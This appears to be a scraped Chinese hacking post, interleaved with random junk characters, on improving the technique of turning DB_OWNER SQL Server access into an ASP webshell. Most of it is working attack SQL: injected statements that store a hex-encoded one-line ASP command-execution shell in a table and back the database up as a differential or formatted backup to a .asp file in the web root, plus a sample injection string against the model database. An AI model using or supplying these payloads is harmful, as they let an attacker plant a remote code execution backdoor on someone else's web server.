DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:

& _; T8 t* r, C3 B; J0 r/ s减少备份文件大小，得到可执行的webshell成功率提高不少
一利用差异备份
* ]; }2 h6 m: E: K: z加一个参数WITH DIFFERENTIAL
. F" \+ k# u- f, ]; ?" C/ O
1
: E# Y8 k4 a3 B2
3
4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
3 f2 y: }. L% o( i4 ]  hcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
" X9 ?8 V& s' c' Z* n
: g' ?* y' O) n, `2 E1 Q二利用完全FORMAT
4 R4 f. i0 v3 E+ f+ b4 J! ]" \加一个参数WITH FROMAT
( h1 N" v+ E6 ^  }5 f' D有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
+ z" u' c1 T. _+ v- O9 L9 x% t
1
2
3
( y# ]$ G/ m3 ?8 f& m/ j4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

+ i: u! ~4 R7 H  S' E3 y; O9 Q: h总的来说就是那么简单几句,下面以备份数据库model为例子
3 L# |4 z" C+ v& o1

' x" ~, x. z1 S6 \1
6 P8 c/ U( b' O6 l' ^. y8 ] id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

/ a' P$ e- W( C2 v2

1
2 F# e. m2 y4 ]" u id=1;backup database model to disk='你的路径‘ with differential,format;--